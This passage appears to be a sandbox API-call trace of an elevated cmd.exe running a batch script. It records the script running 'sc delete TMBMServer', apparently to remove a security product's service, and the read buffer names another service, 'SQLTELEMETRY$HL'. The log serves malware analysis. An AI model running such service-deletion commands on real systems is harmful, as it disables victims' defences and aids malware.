lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.707] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.707] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0076.707] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.707] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.707] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.707] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0076.707] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.707] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.707] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.707] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" \"SQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0076.707] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.707] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.707] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.707] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="TSQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0076.707] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.707] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.708] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.708] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="MQLTELEMETRY$HL\"\nvice\n\n") returned 1 [0076.708] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.708] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.708] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.708] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="BLTELEMETRY$HL\"\nvice\n\n") returned 1 [0076.708] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.708] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.708] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.708] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="MTELEMETRY$HL\"\nvice\n\n") returned 1 [0076.708] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.708] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.708] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.708] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="SELEMETRY$HL\"\nvice\n\n") returned 1 [0076.708] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.708] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.708] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.708] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="eLEMETRY$HL\"\nvice\n\n") returned 1 [0076.709] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.709] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.709] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.709] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="rEMETRY$HL\"\nvice\n\n") returned 1 [0076.709] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.709] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.709] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.709] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="vMETRY$HL\"\nvice\n\n") returned 1 [0076.709] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.709] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.709] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.709] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="eETRY$HL\"\nvice\n\n") returned 1 [0076.709] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.709] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.709] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.709] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="rTRY$HL\"\nvice\n\n") returned 1 [0076.709] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.709] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.709] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.710] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="\nRY$HL\"\nvice\n\n") returned 1 [0076.710] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.710] GetFileType (hFile=0xb8) returned 0x3 [0076.710] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.710] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.710] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.710] GetFileType (hFile=0x120) returned 0x3 [0076.710] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.710] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TMBMServer\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TMBMServer\n", lpUsedDefaultChar=0x0) returned 22 [0076.710] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x15, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x15, lpOverlapped=0x0) returned 1 [0076.710] GetProcessHeap () returned 0x240000 [0076.710] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0076.710] GetProcessHeap () returned 0x240000 [0076.710] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0076.710] GetProcessHeap () returned 0x240000 [0076.710] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0076.710] GetProcessHeap () returned 0x240000 [0076.710] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0076.710] GetProcessHeap () returned 0x240000 [0076.710] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x36) returned 0x256510 [0076.711] GetConsoleOutputCP () returned 0x1b5 [0076.711] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0076.711] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.711] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.711] GetProcessHeap () returned 0x240000 [0076.711] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0076.711] GetProcessHeap () returned 0x240000 [0076.711] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3c) returned 0x25aa40 [0076.711] GetProcessHeap () returned 0x240000 [0076.712] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c5b0 [0076.712] SetErrorMode (uMode=0x0) returned 0x1 [0076.712] SetErrorMode (uMode=0x1) returned 0x0 [0076.712] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5c0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0076.712] SetErrorMode (uMode=0x1) returned 0x1 [0076.712] GetProcessHeap () returned 0x240000 [0076.712] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0x62) returned 0x25c5b0 [0076.712] GetProcessHeap () returned 0x240000 [0076.712] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0x62 [0076.712] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0076.712] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0076.712] GetProcessHeap () returned 0x240000 [0076.712] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0076.712] GetProcessHeap () returned 0x240000 [0076.712] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0076.712] GetProcessHeap () returned 0x240000 [0076.712] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0076.712] GetProcessHeap () returned 0x240000 [0076.712] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0076.712] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0076.712] GetProcessHeap () returned 0x240000 [0076.712] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0076.713] GetProcessHeap () returned 0x240000 [0076.713] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0076.713] GetProcessHeap () returned 0x240000 [0076.713] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0076.713] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.713] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.713] GetLastError () returned 0x2 [0076.713] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.713] GetLastError () returned 0x2 [0076.713] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.713] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0076.714] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0076.714] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.714] GetLastError () returned 0x2 [0076.714] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0076.714] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0076.714] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0076.714] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0076.714] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.715] GetProcessHeap () returned 0x240000 [0076.715] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0076.715] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.715] GetProcessHeap () returned 0x240000 [0076.715] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xa2) returned 0x259180 [0076.715] GetProcessHeap () returned 0x240000 [0076.715] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xa2 [0076.715] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TMBMServer") returned 1 [0076.716] GetProcessHeap () returned 0x240000 [0076.716] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0076.716] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0076.716] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0076.716] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0076.716] GetProcessHeap () returned 0x240000 [0076.716] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0076.716] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0076.716] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0076.716] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0076.716] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0076.716] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.716] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.716] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.716] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0076.716] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0076.716] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0076.716] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0076.717] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.718] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.718] GetProcessHeap () returned 0x240000 [0076.718] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0076.718] GetProcessHeap () returned 0x240000 [0076.718] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0076.718] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TMBMServer", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TMBMServer", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete TMBMServer", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0x7c0, dwThreadId=0x7dc)) returned 1 [0076.724] CloseHandle (hObject=0x54) returned 1 [0076.724] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0076.724] GetProcessHeap () returned 0x240000 [0076.724] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0076.724] GetEnvironmentStringsW () returned 0x261b10* [0076.724] GetProcessHeap () returned 0x240000 [0076.724] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0076.725] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.725] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0076.725] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdb000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0076.725] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0076.785] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0076.785] CloseHandle (hObject=0x50) returned 1 [0076.785] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0076.785] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0076.785] GetProcessHeap () returned 0x240000 [0076.785] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0076.785] GetEnvironmentStringsW () returned 0x261b10* [0076.785] GetProcessHeap () returned 0x240000 [0076.786] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0076.786] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.786] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0076.786] GetProcessHeap () returned 0x240000 [0076.786] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0076.786] GetEnvironmentStringsW () returned 0x261b10* [0076.786] GetProcessHeap () returned 0x240000 [0076.786] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0076.786] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.786] GetProcessHeap () returned 0x240000 [0076.786] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0076.786] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0076.786] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0076.787] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.787] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0076.787] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.787] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0076.787] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.787] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) 